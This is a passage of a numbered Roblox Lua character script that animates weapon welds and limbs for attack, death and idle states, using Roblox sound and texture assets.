  4332. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4333. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4334. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4335. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4336. end
  4337. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4338. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4339. for i=0,1,0.08 do
  4340. swait()
  4341. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4342. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4343. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4344. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4345. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4346. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4347. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4348. end
  4349. --dmgstop()
  4350. attack=false
  4351. con1:disconnect()
  4352. con2:disconnect()
  4353. if TrailDeb == true then
  4354. TrailDeb = false
  4355. end
  4356. end
  4357.  
  4358. function Hai()
  4359. attack=true
  4360. Humanoid.WalkSpeed=0
  4361. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4362. for i=0,1,0.1 do
  4363. swait()
  4364. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4365. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4366. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4367. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4368. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4369. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4370. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4371. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4372. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4373. end
  4374. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4375. for i=0,1,0.1 do
  4376. swait()
  4377. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4378. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4379. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4380. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4381. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4382. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4383. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4384. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4385. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4386. end
  4387. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4388. for i=0,1,0.1 do
  4389. swait()
  4390. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4391. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4392. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4393. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4394. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4395. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4396. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4397. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4398. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4399.  
  4400. end
  4401. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4402. for i=0,1,0.1 do
  4403. swait()
  4404. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4405. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4406. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4407. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4408. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4409. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4410. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4411. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4412. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4413. end
  4414. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4415. for i=0,1,0.1 do
  4416. swait()
  4417. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4418. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4419. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4420. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4421. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4422. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4423. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4424. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4425. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4426. end
  4427. --dmgstop()
  4428. Humanoid.WalkSpeed=12
  4429. attack=false
  4430. end
  4431.  
  4432. function Die()
  4433. attack=true
  4434. Footsteps:Stop()
  4435. Footsteps2:Stop()
  4436. local Fire = it("Sound",Character.Torso)
  4437. Fire.SoundId = "rbxassetid://192104941"
  4438. Fire.Looped = true
  4439. Fire.Pitch = 1
  4440. Fire.Volume = 1
  4441. local Fire2 = it("Sound",Handle2)
  4442. Fire2.SoundId = "rbxassetid://192104941"
  4443. Fire2.Looped = true
  4444. Fire2.Pitch = 1
  4445. Fire2.Volume = 1
  4446. local Fire3 = it("Sound",Handle)
  4447. Fire3.SoundId = "rbxassetid://192104941"
  4448. Fire3.Looped = true
  4449. Fire3.Pitch = 1
  4450. Fire3.Volume = 1
  4451. local Fire4 = it("Sound",handle)
  4452. Fire4.SoundId = "rbxassetid://192104941"
  4453. Fire4.Looped = true
  4454. Fire4.Pitch = 1
  4455. Fire4.Volume = 1
  4456. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4457. fire.Lifetime = NumberRange.new(0.5)
  4458. fire.Speed = NumberRange.new(1, 3)
  4459. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4460. fire.Rate = 0
  4461. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4462. fire.LightEmission = 0.6
  4463. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4464. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4465. local fire2 = Instance.new("ParticleEmitter", Handle)
  4466. fire2.Lifetime = NumberRange.new(0.5)
  4467. fire2.Speed = NumberRange.new(1, 3)
  4468. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4469. fire2.Rate = 0
  4470. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4471. fire2.LightEmission = 0.6
  4472. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4473. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4474. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4475. fire3.Lifetime = NumberRange.new(0.5)
  4476. fire3.Speed = NumberRange.new(1, 3)
  4477. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4478. fire3.Rate = 0
  4479. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4480. fire3.LightEmission = 0.6
  4481. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4482. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4483. local fire4 = Instance.new("ParticleEmitter", handle)
  4484. fire4.Lifetime = NumberRange.new(0.5)
  4485. fire4.Speed = NumberRange.new(1, 3)
  4486. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4487. fire4.Rate = 0
  4488. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4489. fire4.LightEmission = 0.6
  4490. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4491. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4492. Humanoid.WalkSpeed = 0
  4493. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4494. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4495. for i=0,1,0.08 do
  4496. swait()
  4497. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4498. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4499. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4500. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4501. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4502. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4503. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4504. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4505. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4506. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4507. end
  4508. for i=0,1,0.005 do
  4509. swait()
  4510. light.Range=15-10*i
  4511. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4512. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4513. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4514. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4515. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4516. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4517. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4518. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4519. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4520. end
  4521. light.Range=0
  4522. for i=0,1,0.01 do
  4523. swait()
  4524. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4525. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4526. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4527. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4528. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4529. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4530. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4531. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4532. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4533. end
  4534. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4535. fire.Rate = 1000
  4536. fire2.Rate = 1000
  4537. fire3.Rate = 1000
  4538. fire4.Rate = 1000
  4539. Fire:Play()
  4540. Fire2:Play()
  4541. Fire3:Play()
  4542. Fire4:Play()
  4543. for i=0,1,0.005 do
  4544. swait()
  4545. Character.Head.face.Transparency = 0+1*i
  4546. LeftArm.Transparency=0+1*i
  4547. RightArm.Transparency=0+1*i
  4548. LeftLeg.Transparency=0+1*i
  4549. RightLeg.Transparency=0+1*i
  4550. Head.Transparency=0+1*i
  4551. Torso.Transparency=0+1*i
  4552. for _,v in pairs(Character:children()) do
  4553. if v:IsA("Hat") then
  4554. v.Handle.Transparency = 0+1*i
  4555. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4556. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4557. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4558. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4559. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4560. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4561. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4562. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4563. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4564. end
  4565. end
  4566. --dmgstop()
  4567. end
  4568. Humanoid.Health = 0
  4569. end
  4570.  
  4571. equipanim()
  4572.  
  4573. local sine = 0
  4574. local change = 1
  4575. local val = 0
  4576.  
  4577. local mananum=0
  4578. while true do
  4579. swait()
  4580. sine = sine + change
  4581. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4582. local velderp=RootPart.Velocity.y
  4583. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4584. if equipped==true or equipped==false then
  4585. if Anim=="Idle" and attack==false then
  4586. idle=idle+1
  4587. else
  4588. idle=0
  4589. end
  4590. if Humanoid.Health <=20 then
  4591. if attack == false then
  4592. Humanoid.Health = math.huge
  4593. Die()
  4594. end
  4595. end
  4596. if idle>=1000 then
  4597. if attack==false then
  4598. --Sheath()
  4599. end
  4600. end
  4601. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4602. Anim="Jump"
  4603. if attack==false then
  4604. Footsteps:Stop()
  4605. Footsteps2:Stop()
  4606. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4607. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4608. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4609. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4610. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4611. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4612. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4613. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4614. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4615. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4616. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4617. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4618. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4619. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4620. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4621. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4622. end
  4623. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4624. Anim="Fall"
  4625. if attack==false then
  4626. Footsteps:Stop()
  4627. Footsteps2:Stop()
  4628. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4629. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4630. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4631. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4632. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4633. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4634. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4635. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4636. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4637. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4638. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4639. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4640. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4641. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4642. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4643. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4644. end
  4645. elseif torvel<1 and hitfloor~=nil then
  4646. Anim="Idle"
  4647. change=0.5
  4648. if idle>=1000 then
  4649. if attack==false then
  4650. Footsteps:Stop()
  4651. Footsteps2:Stop()
  4652. Humanoid.WalkSpeed=12
  4653. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4654. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4655. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4656. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4657. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4658. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4659. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4660. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4661. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4662. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4663. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4664. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4665. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4666. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4667. end
  4668. else
  4669. if attack==false then
  4670. Footsteps:Stop()
  4671. Footsteps2:Stop()
  4672. Humanoid.WalkSpeed=12
  4673. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4674. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4675. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4676. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4677. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4678. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4679. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4680. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4681. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4682. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4683. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4684. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
